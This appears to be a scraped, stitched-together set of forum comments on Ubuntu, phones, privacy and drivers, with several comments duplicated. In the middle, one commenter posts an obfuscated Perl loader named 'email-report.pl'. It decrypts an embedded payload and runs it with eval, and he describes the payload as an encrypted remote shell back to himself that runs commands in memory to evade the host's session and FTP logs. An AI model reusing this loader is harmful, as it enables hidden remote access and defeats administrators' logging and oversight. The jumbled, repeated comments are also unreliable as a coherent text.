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Forgive me if I'm forgetting something, but couldn't you just encrypt your home directory? While root has rw access to everything else, they only have access to ~/ in an encrypted format. It's one of the settings available in Ubuntu's default installation. However, I haven't looked into it TOO deeply, so it may be that it's a relatively weak protection that can be worked around by having your password changed. Either way, such a setup could be accomplished.

You can do just that encrypt home directory but if you do and the meat-headed non-computer people with the badges forget their password all of their information is lost when you reset their password for them. So they probably were not encrypting the data because your meatheads get angry when they loose all their stuff.

Forgive me if I'm forgetting something, but couldn't you just encrypt your home directory? While root has rw access to everything else, they only have access to ~/ in an encrypted format. It's one of the settings available in Ubuntu's default installation. However, I haven't looked into it TOO deeply, so it may be that it's a relatively weak protection that can be worked around by having your password changed. Either way, such a setup could be accomplished.

I've suggested previously, even before the post-Snowden cloud/privacy concerns, that Microsoft could be in a very strong position if they swam across the current a little and promoted private clouds.

That is not a significant strength for Microsoft. There is no philosophical advantage to closed-source infrastructure compared to freedom-respecting software. Microsoft might win a bunch of sales because of their tight integration and simplified controls, but if you're worried about privacy, then Microsoft is not the way to go.

If you're doing a cloud deployment and you're worried about privacy, then the only real solution is to go to some open-source cloud system.

I believe they are talking about the software which is already in active development and should in a more useable state next year. If you have a nexus device you could install the developer preview today.

The edge was an attempt to make a phone specifically meant to run this software with great hardware and massive internal storage.

http://www.ubuntu.com/privacy-policy
http://www.ubuntu.com/privacy-policy/third-parties

http://www.ubuntu.com/privacy-policy
http://www.ubuntu.com/privacy-policy/third-parties

To me, the takeaway message from all of this is that, if you value privacy above all else in your email exchanges, you can't trust a company, because either they'll sell you up the river for a song, or they'll shutter themselves to avoid government pressure. So here's my question: why don't more people simply run their own mail servers? It's certainly not difficult. There are a few problems, of course, namely, needing an always-on computer, sorting out the issue of dynamic IP (dyndns is a great, free solution), and the issue of small mail servers flagging spam blacklists. I also seem to remember various residential ISPs (like Comcast) having running a mail server be against their TOS, but I can't find anything to back that up, so I might be remembering incorrectly. In any case, none of these problems are insurmountable, and I really wonder if this is the solution for the privacy-paranoid among us.

For the adventurous I whipped up a less dangerous payload that won't try to connect to my server and run any arbitrary code it receives.
This one will just execute shell commands read from STDIN instead: Slashell

Note that I also "upgraded" the encryption strength by simply changing the "SHA-1" to "SHA-512", like I said, you can drop any hash algorithm into the CBC stream cipher... SHA-256 would have probably been a better choice because SHA-512 is actually faster to implement on 64bit supercomputers.

Change the eval $Z; to read print $Z if you'd rather see what you'll be running prior to running it.
The passphrase is the hex string included in the link.

It should be this easy on ALL linux distros. Here's a screencap of me installing the latest NVidia drivers on Lubuntu the other day:
http://youtu.be/49iq5A8d0e4

Yeah. That was like super-easy and I'm sure many Windows or OS X users would be impressed..

Also what's up with the lack of usage of the tab key, the multiple clears and I guess it would had helped if you had made sure the commands actually gave the results you where after in the first place + the warning at the beginning about a distribution specific pre-installation script failing.

As for FreeBSD:
http://www.freebsd.org/doc/en/articles/compiz-fusion/nvidia-setup.html

Or openSUSE:
https://en.opensuse.org/SDB:NVIDIA_drivers#Easy_way_to_get_NVIDIA_drivers

Ubuntu:
https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia

Fedora don't seem to be all that user friendly in this regard:
http://www.if-not-true-then-false.com/2013/fedora-18-nvidia-guide/
http://rpmfusion.org/Howto/nVidia#GeForce_8_and_newer

Archlinux guide is a little longer.. But also cover much more:
https://wiki.archlinux.org/index.php/NVIDIA
Like I remember a recent thread on Slashdot where this likely would had been helpful:
https://wiki.archlinux.org/index.php/NVIDIA#Base_mosaic

As a side note, it's been interesting to note how much Canonical wants to distance Ubuntu from being known as just-another-Linux-distro. Yes it's still Linux, yet it still runs Linux programs, but Ubuntu doesn't mention the word Linux at all in most of its literature unless it's of a technical nature (heck, the word Linux doesn't even appear on http://www.ubuntu.com/desktop except as a keyword in the page's source).

This Slashdot article isn't even in the Linux category here, which I find telling.

Then they don't need to rely on anyone else to create encryption systems or key exchanges.

Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl

#!/usr/bin/perl -w
use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
!defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
@{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
$J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
$E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
$O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
{exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
$Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
$U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
);my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
{exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
__DATA__
4e45266f48ed8d...
Snipped, see link, not that it'll do you any good without the key.
I'd give you the key, but running arbitrary enciphered code is ill advised...

What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.

Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.

Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it

Want a phone that runs Ubuntu today? Go buy a Nexus 4 for $300, and install the Ubuntu Touch Developer Preview .

Warning: it's not very good. In fact, I found my phone was orders of magnitude more useful running CyanogenMod.

Assuming the edge sparks development of Ubuntu touch, you'll still be able to install it on your old android phones... so why tie up $800 into a phone that doesn't even exist yet, built for a platform that isn't even close to mature? Also, when exactly did it become ok for these for-profit companies to start exploiting crowd sourcing. I feel like that should be reserved for independent start-ups.

Reading the post two steps above mine or whatever.

Though "dual monitor" seem like something which one would more likely search for than "sli", sli is even totally unrelated.

Tried a new search with: nvidia x dual monitor
Second hit there is: ftp://download.nvidia.com/XFree86/Linux-x86/304.32/README/configtwinview.html

Which make more sense.

Third hit is: https://help.ubuntu.com/community/NvidiaMultiMonitors

But none of those mention what he was suggested to use?

Anyway.. Whatever. Good to know where to find it later on if ever needed.

Ubuntu documentation lists some alternatives: https://help.ubuntu.com/community/BackupYourSystem one that is not listed there, and that I used many years ago is "UNISON"... I found it faster and better then rsync, also it does binary diff, so for big files that only "metadata" changed, it transfers faster.

Here's a list of Ubuntu hardware partners including Dell and Asus and their products. I'm not sure why you're blaming Canonical when the vendors are responsible for putting the hardware out.

Download and install Ubuntu or one of these distros ..

I find the added bloat better than relying on "mobile app developers" (MAD) to write error-free code in relation to memory. You can still have memory bugs with a GC-enabled language, but it's less likely. IMO, most client-side code should be written in a GC-enabled language. Everyone is attracted to writing client-side apps, but usually only intelligent geeks are interested in server-side code -- where speed and memory-efficiency matter more. Ask yourself... do you want apps on your phone to use GC-enabled languages? Have you met the typical "mobile app developer"? Do you want the language to be easier for quicker innovation and less crashes? Or do you want lean, fast apps? Of course, you can have both if the mobile device allows multiple languages. Not trying to write shill... but Ubuntu's Phone will allow writing apps in either JavaScript or C/C++ (http://www.ubuntu.com/phone/app-ecosystem). Bang it out quick and more safely in JS. If the app gets huge (and you get paid handsomely) and needs to be leaner/faster, re-write in C++.

http://www.ubuntu.com/usn/usn-612-2/

Weaknesses in key generation will create encrypted code that IS AES (or whatever), but it's not cryptographically secure. Huge difference.

Close to Unity.

Ubuntu has been bootable on a Mac from a USB drive for a while. Before 12.04.2 it was harder to then install the system sometimes. See UEFI for comments on what changed. Everything should work at this point on versions after that one. Recent changes in Knoppix should allow this latest version to work too. There are a lot more people working on Mac support in Ubuntu than Knoppix though.

If you have a PC system available, it's helpful to test booting there, so you can be sure the drive is fine before moving on to fighting with whatever EFI issues pop up. It should be possible to make the drive bootable just by holding down the Option key during boot. But there are a few common EFI headaches that get easier if you just install rEFind on your boot drive, that's what I always do.

I realize that none of these carriers are in the US

Deutsche Telekom is on the list, and it has a U.S. division.

the most surprising thing about OS X Mavericks is that it's not named after a cat

Yea, it's named after a Meerkat...how original.

Normally I'd let comments like this slide, but I'm getting really tired of all the Windows 8 garbage that's being spread around here. You can get docks for Android phones and there is a Ubuntu for Android as someone pointed out to me yesterday. So I can use my Note II as an Ubuntu computer, which is what I use at home and get lots of work done on.

Most of /. posters are technically inclined people that have seen/used Windows 8 and from what I've read most agree Metro is garbage and the worst thing to happen to desktops ever. IMHO, you can take your toy interface and find some 5 year olds to use it that don't have real work to do.

It's interesting. I'm an Ubuntu and Linux Mint user at home, but I can't really see value in having it on a phone. Although it would be nifty if I had a docking station at home and work where I could just drop my phone into it to use it as a more portable computer with a full monitor, keyboard and mouse when available, and the regular phone touch interface when on the go.

Sounds like Ubuntu For Android I've got a regular Galaxy Nexus, so external video isn't for me, but sounds good in principal.

My response to the question is simple too: WORKSFORME

Sometimes it seems to me the Desktop Linux developers are actually trying to sabotage Desktop Linux and not make it better. Whenever Microsoft screws up, they try to make Desktop Linux even worse!

So I've given up on Desktop Linux. Server Linux on the other hand is generally better than Windows. Windows is terrible for servers. For example, going through the event logs to find out stuff is such a pain and an often fruitless endeavour. Stuff on unix/Linux somehow tends to create more useful logs.

Maybe I'll switch when Windows 7 is unsupported and Microsoft makes future Windows versions even worse than Windows 8.

I've made a few suggestions to Ubuntu:
http://brainstorm.ubuntu.com/idea/29001/
https://bugs.launchpad.net/ubuntu/+bug/156693
https://bugs.launchpad.net/ubuntu/+bug/148440

Microsoft is disappointing too. With their billions of dollars and thousands of smart people, they give us disappointments like Vista, Windows 7 and Metro?

Nowadays, folks try to do as much as possible in RAM -- by that I mean no patching files or writing to the FS at all. So, keeping track of modifications to any sort of executable file (even indirectly executable, hell, even if it's not executable) will certainly be a handy tool but not as much as you'd think. Also, debsums already does this and I'm sure other package managers support similar functionality. Now, if there's no such utility for your system (even commercial 3rd-party) then you may have chosen/setup the wrong system.

Also, AppArmor-like systems are quite handy too as they allow very fine-grained control for what operations a certain process/executable can perform, thereby allowing you to avoid modifications to the FS via an exploited vulnerability in the first place (and also limit what the exploit's payload will be able to execute once in RAM, no execution privs means no way to execute a shell which makes things much harder).

But even so, privs can be escalated and jails can be broken and vulns can be chained, better get some security education and minimize the chances of writing vulnerable code in the first place, and then carefully fix the inevitable vulnerabilities which you'll surely introduce as soon as you learn about them.

I would love the ability to plug my phone into a dock at my office (possibly with some extra processing horsepower/storage and connection to the office phone system) and have it be my work PC as well. Think something along the lines of a Mac version of OSX when docked and IOS when undocked. Done well that would be hugely useful.

Something like Ubuntu are trying?

the [PC and phone] markets are too fundamentally different for your direction to be correct. What impresses people about a phone will just disappoint most the laptop market. Especially as far as "apps" go, which are mostly a far cry from the programs people have become accustomed to.

Just claiming that they're different is special pleading. I'd like a bit more explanation of your opinion as to whether applications for tablets should more closely resemble applications for phones or applications for laptops and why. Keep in mind that this product is a laptop whose screen can be detached from the keyboard to become a standalone tablet, and we're trying to decide whether to run Android or Ubuntu for tablets on the tablet while detached. So how should one go about building enough of a user base for Ubuntu for tablets to attract developers of applications for home use to Ubuntu for tablets?

With all those billions of dollars and thousands of smart people why couldn't Microsoft have actually helped us with something like this: http://brainstorm.ubuntu.com/idea/29001/

Or this: https://bugs.launchpad.net/ubuntu/+bug/156693

Instead they come up with Metro...

At least they're trying to help fix this one: https://bugs.launchpad.net/ubuntu/+bug/1

With all those billions of dollars and thousands of smart people why couldn't Microsoft have actually helped us with something like this:
http://brainstorm.ubuntu.com/idea/29001/

Or this:
https://bugs.launchpad.net/ubuntu/+bug/156693

Instead they come up with Metro...

A gimp version of windows is not going to get the job done.

On the other hand, a Windows version of GIMP does get a lot of jobs done that don't quite need Adobe Photoshop.

But seriously, the reason Windows RT is "gimped" is because Microsoft has refused to endorse recompiling desktop applications. That's not a failing of ARM, as ARM ran RISC OS on Acorn computers, as much as a power grab by Microsoft.

Some of the Samsung Slate tablets however come with an x86...and are actually fully functional! Can you point to an ARM tablet that can do everything it can?

Some ARM tablets run Ubuntu. Other Android tablets run Debian in a chroot, with video out through an X11 server app for Android. These can't run Windows applications in Wine the way x86 applications do, but they work for any GNU/Linux application that has been recompiled for ARM.

Politeness and respect when asking favors from people who don't know you, that's arcane rules these days? Wow ...

No, it's pathetic shit like this:

>
> On 01/06/2013 11:10 AM, Basil Chupin wrote:
>> On 06/01/13 08:19, Lindsay Mathieson wrote:
>>> On Sat, 5 Jan 2013 12:43:15 PM Gene Heskett wrote:
>>>> Go away, this list doesn't need you.
>>> Gene, you are the problem here.
>>
>> I don't think so.
>>
>> Those who top post are the problem here.

You can install CyanogenMod in most android phones and restrict yourself to use only open source apps too. Or try Mer based ones (i.e. Sailfish), Tizen, Ubuntu Touch, or Firefox OS

This is the first I've heard of the project, but from a cursory glance at http://www.ubuntu.com/phone , I'm pretty excited. Have the phone for on the go, then dock it and use it as a full PC when at home. Definitely, sign me up!

Yeah I love this concept. With the dock for my S4, I can plug in all the peripherals just fine - what I need is the OS support to run full desktop apps on it in this mode. An Ubuntu-like OS would be ideal (though I'd probably try to run Cinnamon or something instead for a DE).

Now, if you want to call reality only to what is sold, is up to you, people is free to fool themselves

Indeed, people are entirely free to fool themselves.

This is the first I've heard of the project, but from a cursory glance at http://www.ubuntu.com/phone , I'm pretty excited. Have the phone for on the go, then dock it and use it as a full PC when at home. Definitely, sign me up!

For something most of people that use it don't exactly buy it, is not unreasonable that is not shown in market share, where sales are taken into account, instead of actual use (and count as sales preloaded OSs in not sold/used yet devices, even if then will be installed over with something else).

And Ubuntu Touch will take a while till it have some actual sale, even if, when is stable enough, gets installed in a lot of existing devices. Only will appear in the map of the "market share" when some vendor actually preinstall it on devices, even if millons have it before that.

Now, if you want to call reality only to what is sold, is up to you, people is free to fool themselves.

http://www.ubuntu.com/tablet

I love this concept. It's the first phone-to-tablet-to-PC concept I've seen that feels somewhat complete.

How about comparing like-with-like instead of new software with software from 10 years ago:
Ubuntu 12.04 (released 2012): 384MB minimum
Windows 7 (released 2009): 1GB minimum for 32-bit, 2GB for 64-bit
Windows 8 (released 2012): 1GB minimum for 32-bit, 2GB for 64-bit

Plus the minimum requirement for XP was 64MB, with 128MB recommended (http://support.microsoft.com/kb/314865), not 32MB.

https://wiki.ubuntu.com/PrecisePangolin/ReleaseNotes/UbuntuDesktop#System_Requirements
http://windows.microsoft.com/en-us/windows-8/system-requirements
http://windows.microsoft.com/en-us/windows7/products/system-requirements

Install the icedtea-7-plugin package using any installation method. more detailed instructions here https://help.ubuntu.com/community/Java.

I like how you seem to think that supports the notion that installing Java on Linux is easy.

To be fair installing the the whole of Ubuntu is now a few basic dialog boxes and leave for 20 minutes

Same as above, except s/Java on//.

I know your trolling but Linux Desktop market share has been steadily rising for sometime, and that is without the onslaught of Chrome (and soon Android Boxies).

Meaningless. On PCs, Linux is a distant (and I mean distant) third. It's all but entirely irrelevant.

I also find it amusing that you think Chrome and Android are "Linux". They run a modified Linux kernel, and beyond that the similarities increasingly fall apart.

And FYI, I like Linux. A lot. I run it from time to time, and if it weren't for OS X, it would be my primary OS.

Install the icedtea-7-plugin package using any installation method. more detailed instructions here https://help.ubuntu.com/community/Java.

To be fair installing the the whole of Ubuntu is now a few basic dialog boxes and leave for 20 minutes

I know your trolling but Linux Desktop market share has been steadily rising for sometime, and that is without the onslaught of Chrome (and soon Android Boxies).

You mean like their https://wiki.ubuntu.com/LTS versions?

Not much else to say http://www.ubuntu.com/privacy-policy

That's what you should critique Ubuntu and Shittleworth for!

If you use Ubuntu, I hope you love and trust all these companies as they will know a lot about you http://www.ubuntu.com/privacy-policy/third-parties

Also be sure to read the actual http://www.ubuntu.com/privacy-policy (and yes, like any legal document, it's a long sad read to discourage you from ever actually doing so...)

That's what you should critique Ubuntu and Shittleworth for!

If you use Ubuntu, I hope you love and trust all these companies as they will know a lot about you http://www.ubuntu.com/privacy-policy/third-parties

Also be sure to read the actual http://www.ubuntu.com/privacy-policy (and yes, like any legal document, it's a long sad read to discourage you from ever actually doing so...)

No worries

Why does your kid need a IPad or a IPhone? Why not buy him a computer with an OS which does not have app stores.

You did say BUY a computer but there's little sale outside these top prebundled OSs:
Ubuntu App store
MacOS X App store
Windows 8 App store

It won't be easy finding legal Windows 7 copy without online merchants so that you can live App-free on your new computer.

Unless you plan to build your own PC and put non-Ubuntu FOSS on it, other choices call for wading into uncanny territory or buying older unsold items and used stuff

That said, I don't promote the idea of purchasing a tablet or phones for kids. There's already a living room PC and a laptop sitting around at home and kids do NOT need more room to hide their acts.

More info: https://wiki.ubuntu.com/X/i8xxUnsupported

Yes: Ubuntu Minimal.

1) Remove it? It was never installed as I use dwm, a tiling window manager. You are free to choose what manager to use.
2) Not a reason for to not use Ubuntu, can you explain why it is a joke?
3) I use apt. There is no problem using apt, aptitude or synaptic mixed. This has been true for years
4) I use iptables and have never used ufw. It is not true that ufw is a dependency of "most network deamons", I have looked up multiple network deamons and not found one that depends on ufw, please list the network deamons you are talking about.
5) Kernel Hardening. Binary drivers is not a problem specific to Ubuntu.

I could go on...but one should not feed the troll